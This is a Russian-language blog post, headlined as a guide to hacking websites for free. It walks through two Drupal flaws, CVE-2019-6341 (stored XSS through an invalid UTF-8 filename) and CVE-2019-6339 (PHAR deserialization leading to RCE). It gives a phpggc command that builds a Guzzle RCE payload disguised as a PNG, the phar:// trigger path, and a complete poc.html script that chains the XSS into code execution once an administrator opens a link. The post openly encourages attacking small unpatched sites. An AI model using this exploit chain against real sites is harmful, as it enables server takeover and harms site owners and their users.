Сегодня мы раскажем вам как взломать сайт бесплатно самому и без посторонней помощи. Это стало доступно после публикации свежей уязвимости такого изместного движка как Drupal. Конечно большинство крупных сайтов уже закрыли данную уязвмость, но большинство мелких сайтов все еще доступны для взлома.
Что представляет из себя уязвимость для бесплатного взлома сайта.
Итак, интересный случай XSS связан с тем, что разработчики не учли отдельные особенности работы некоторых функций PHP с кодировкой UTF-8. Из-за особенностей работы preg_replace
атакующий может загрузить файл, содержащий HTML/JS-код, при переходе на который он будет выполнен в контексте браузера пользователя.
Эта уязвимость получила номер CVE-2019-6341, ее обнаружил Сэм Томас (Sam Thomas). Под угрозой оказались все версии ветки Drupal 8.6 до 8.6.13, Drupal 8.5 до 8.5.14 и Drupal 7 до 7.65.
Вторая уязвимость — unserialize при помощи архива PHAR. Отсутствие проверки пути до временной директории дает возможность использовать враппер phar://
. В конце прошлого года я рассказывал об эксплуатации десериализации через архивы PHAR в форуме phpBB. В Drupal тоже есть возможность загрузки файлов и атакующий может загрузить картинку, содержащую полезную нагрузку. Затем указать путь до нее в качестве временной директории, используя поток phar
, что приведет к выполнению произвольного кода.
Речь идет о CVE-2019-6339. Ей подвержены все версии Drupal 8.6 ниже 8.6.6, Drupal 8.5 ниже 8.5.9 и Drupal 7 ниже 7.62. Уязвимость была найдена Грегом Кнаддисоном (Greg Knaddison) из Drupal Security Team и Сэмом Томасом (Sam Thomas).
Стенд для бесплатного взлома сайта под управлением Drupal
Чтобы воспроизвести уязвимость, нам понадобятся два контейнера Docker. Первый — для сервера базы данных.
$ docker run -d -e MYSQL_USER="drupal" -e MYSQL_PASSWORD="6zbd9Ilfka" -e MYSQL_DATABASE="drupal" --rm --name=mysql --hostname=mysql mysql/mysql-server:5.7
Второй — официальный, от разработчиков Drupal, с последней уязвимой к обоим багам версией — 8.6.5.
$ docker run -d --rm -p80:80 --link=mysql --name=drupalvh --hostname=drupalvh drupal:8.6.5
Теперь нужно пройти несложную процедуру инсталляции.
Если требуется отладка, то я по-прежнему рекомендую использовать PhpStorm и расширение Xdebug helper для браузера. Эта связка работает быстро и стабильно. Чтобы иметь возможность дебага, я дополнительно установлю PHP-расширение Xdebug.
$ docker exec -ti drupalvh /bin/bash
$ pecl install xdebug-2.6.1
$ echo "zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20170718/xdebug.so" > /usr/local/etc/php/conf.d/php-xdebug.ini
$ echo "xdebug.remote_enable=1" >> /usr/local/etc/php/conf.d/php-xdebug.ini
$ echo "xdebug.remote_host=192.168.99.1" >> /usr/local/etc/php/conf.d/php-xdebug.ini
$ service apache2 reload
Не забудь поменять IP-адрес 192.168.99.1 на свой и обрати внимание на путь до скомпилированной библиотеки xdebug.so
. Далее нужно скачать исходники Drupal, и после перезагрузки конфигов Apache можно запускать отладчик.
После завершения установки CMS необходимо будет создать тестовую страницу или запись.
Помимо этого, для тестирования XSS понадобится любой пользователь, который сможет загружать файлы и оставлять комментарии. В дефолтной инсталляции это можно делать после прохождения регистрации. Как вариант, можешь просто создать юзера в админке.
Путь к XSS уязвимости
Начнем с межсайтового скриптинга. У пользователей Drupal есть возможность комментировать записи. И, как и в любой современной CMS, в комментариях можно использовать базовую разметку. Функция, которая нам интересна, — это добавление картинок.
Причем картинка загружается с компьютера пользователя. Имена загружаемых файлов могут представлять опасность, одна из последних уязвимостей в WordPress тому пример.
За сохранение загруженных файлов отвечает функция _file_save_upload_single
.
core/modules/file/file.module
function _file_save_upload_single(\SplFileInfo $file_info, $form_field_name, $validators = [], $destination = FALSE, $replace = FILE_EXISTS_RENAME) {
...
$file->destination = file_destination($destination . $file->getFilename(), $replace);
Обрати внимание на аргумент $replace
. Он отвечает за ситуацию, когда в директории уже присутствует файл с таким же именем, как у загружаемого. По дефолту новый файл переименовывается.
core/includes/file.inc
function file_destination($destination, $replace) {
if (file_exists($destination)) {
switch ($replace) {
...
case FILE_EXISTS_RENAME:
$basename = drupal_basename($destination);
$directory = drupal_dirname($destination);
$destination = file_create_filename($basename, $directory);
...
return $destination;
Функция file_create_filename
генерирует новое имя для загружаемого файла. Но перед этим производится санитизация названия. Убираются все нежелательные символы.
core/includes/file.inc
function file_create_filename($basename, $directory) {
...
$basename = preg_replace('/[\x00-\x1F]/u', '_', $basename);
if (substr(PHP_OS, 0, 3) == 'WIN') {
// These characters are not allowed in Windows filenames
$basename = str_replace([':', '*', '?', '"', '<', '>', '|'], '_', $basename);
}
Функция preg_replace
заменяет на символ подчеркивания (_
) все символы с ASCII-кодом до 31 (1F). И все бы ничего, если бы не PCRE-модификатор u
(PCRE_UTF8). Он интерпретирует входные данные как строку UTF-8. Допустимая длина символа UTF-8 — от одного до четырех байт. UTF-8 спроектирован с учетом обратной совместимости с набором символов ASCII. Поэтому в диапазоне однобайтовых кодов (0x00—0x7F) ASCII и UTF-8 пересекаются.
При работе функций preg_*
с этой кодировкой есть небольшая особенность: если переданная строка имеет некорректный формат, то результатом работы будет NULL, а выполнение кода продолжится. Об этом четко написано в документации — см. справку по модификатору u
.
Чтобы понять, как сделать строку невалидной, обратимся к спецификации по UTF-8 — RFC 3629. Согласно этому документу, байты C0
, C1
, F5-FF
никогда не должны присутствовать в корректной строке в кодировке UTF-8.
Вооружившись этой информацией, я накидал тестовый скрипт, чтобы проверить особенность обработки невалидных строк.
test.php
<?php
$basename = "a\xFFnything";
print("Before: ".$basename.PHP_EOL);
$basename = preg_replace('/[\x00-\x1F]/u', '_', $basename);
print("After: ".array_flip(get_defined_constants(true)['pcre'])[preg_last_error()]);
Теперь посмотрим, что произойдет, когда мы передадим некорректную строку UTF-8. Для этого нам нужно сначала загрузить файл с кодом символа \xFF
в качестве названия и одним из разрешенных расширений, я использовал png
.
Я поставил брейк-пойнт на функцию file_create_filename
и повторил запрос. В самом начале происходит вызов preg_replace
, после которого переменная $basename
становится null
.
core/includes/file.inc
// A URI or path may already have a trailing slash or look like "public://"
if (substr($directory, -1) == '/') {
$separator = '';
}
else {
$separator = '/';
}
$destination = $directory . $separator . $basename;
Дальше формируется полный путь до загруженного файла ($destination
), а так как $basename
у нас пустая, то путь будет указывать просто на папку с загруженными файлами. Разумеется, эта директория существует, поэтому дальше мы попадаем в тело условия.
core/includes/file.inc
if (file_exists($destination)) {
Тут к имени файла добавляется суффикс, по сути, это просто счетчик.
core/includes/file.inc
// Destination file already exists, generate an alternative
$pos = strrpos($basename, '.');
if ($pos !== FALSE) {
$name = substr($basename, 0, $pos);
$ext = substr($basename, $pos);
}
else {
$name = $basename;
$ext = '';
}
$counter = 0;
do {
$destination = $directory . $separator . $name . '_' . $counter++ . $ext;
} while (file_exists($destination));
}
В итоге получается путь /var/www/html/sites/default/files/inline-images/_0
. По нему и сохраняется содержимое файла.
Как взломать сайт бесплатно используя эти знания?
Сервер возвращает содержимое загруженных файлов без заголовка Content-Type
, а современные браузеры пытаются определить тип содержимого автоматически. Такое поведение и позволит провести XSS-атаку. Для этого достаточно загрузить код на JS.
Дальше используем еще одну возможность в комментариях — ссылки. Формируем ссылку на загруженный файл с XSS.
<a href="/sites/default/files/inline-images/_0" type="text/html">Click here</a>
Теперь администратору достаточно перейти по ссылке, и код будет выполнен.
Кстати, необязательно использовать загрузку картинок через комментарии. Для тех же целей можно приспособить назначение аватара в профиле пользователя. В этом случае путь будет немного другим: /sites/default/files/pictures/<ГГГГ-ММ>/
.
Выполняем произвольный код
Давай теперь посмотрим на другую проблему — PHAR-десериализацию. В панели администратора есть раздел File system. Там можно задать папку для хранения временных файлов (Temporary directory), а также время их жизни.
При сохранении данных формы срабатывает функция system_check_directory
, которая проверяет существование указанной директории и наличие необходимых прав на нее.
core/modules/system/system.module
function system_check_directory($form_element, FormStateInterface $form_state) {
$directory = $form_element['#value'];
if (strlen($directory) == 0) {
return $form_element;
}
$logger = \Drupal::logger('file system');
if (!is_dir($directory) && !drupal_mkdir($directory, NULL, TRUE)) {
Здесь отсутствует проверка введенных данных и можно указать враппер phar://
и путь до PHAR-архива с полезной нагрузкой. Любая функция, которая поддерживает работу с потоками, может триггерить уязвимость.
Для генерации я воспользуюсь классной утилитой phpggc. В ней есть джентльменский набор гаджетов для популярных фреймворков, CMS и различных библиотек. Список постоянно пополняется.
Drupal использует библиотеку Guzzle, в которой есть известная цепочка гаджетов, ведущая к RCE.
/drupal-8.6.5/vendor/guzzlehttp/guzzle/CHANGELOG.md
## CHANGELOG
### 6.3.0 - 2017-06-22
Выбираем гаджет Guzzle/RCE1. Здесь ты сразу можешь сгенерировать архив PHAR, указав ключ -p
и имя архива через -o
.
./phpggc -p phar Guzzle/RCE1 system ls -o rce.phar
Далее переименовываем rce.phar
в rce.png
и загружаем на сервер как картинку. Если теперь указать путь до файла через враппер PHAR в качестве временной папки, то пейлоад отработает и код выполнится.
phar://./sites/default/files/inline-images/rce.png
Объединяем атаки в цепочку
Чтобы понять Как взломать сайт бесплатно и найти окончательный вектор атаки, нужно объединить XSS и RCE от администратора.
Сначала загружаем архив PHAR с полезной нагрузкой как PNG и запоминаем путь до него. Далее нам понадобится код на JavaScript, который будет подгружать от админа страницу с настройками и отправлять форму. В ней в качестве file_temporary_path
будет указан путь до архива.
Скрипт должен будет получать ответ от сервера. Чтобы легче его парсить, я поместил результат работы команды ls -l
в тег <shell>
.
./phpggc -p phar -o rce.phar Guzzle/RCE1 system "echo \<shell\>; ls -l; echo \</shell\>"
poc.html
<html>
<head></head>
<body>
<script src="//cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js" type="text/javascript"></script>
<script>
var filepath = 'phar://./sites/default/files/inline-images/system.png';
var form_url = '/admin/config/media/file-system';
var form_id = 'system_file_system_settings';
$.get(form_url, function(data) {
form_build_id = $(data).find('[name="form_build_id"]').val();
var postdata = {
'file_temporary_path': filepath,
'form_id': form_id,
'form_build_id': form_build_id
}
$.post(form_url, postdata, function (data) {
alert($(data).last().text());
console.log($(data).last().text());
});
});
</script>
</body>
</html>
Загружаем этот код через первую уязвимость. Теперь остается только заставить администратора перейти по нужной ссылке. Но это уже совсем другая история.
Демонстрация уязвимости (видео)
Выводы
В статье я рассмотрел очередную возможность Как взломать сайт бесплатно, ведущую от XSS к RCE. Таких вариантов атаки в последнее время встречается все больше.
На данный момент обе уязвимости были исправлены. Чтобы исключить возможность использования враппера phar
и архивов PHAR, команда разработки Drupal добавила кастомные обработчики для потоков phar://
.
XSS продержалась немного дольше, и патч для нее вышел в марте этого года. Разработчики добавили компонент Unicode
, который имеет метод validateUtf8
для проверки строки на соответствие стандартам UTF-8. Так что следи за новостями безопасности и вовремя обновляй свои продукты!
1 comments On Как взломать сайт бесплатно используя уязвимости Drupal
спасибо авторам материала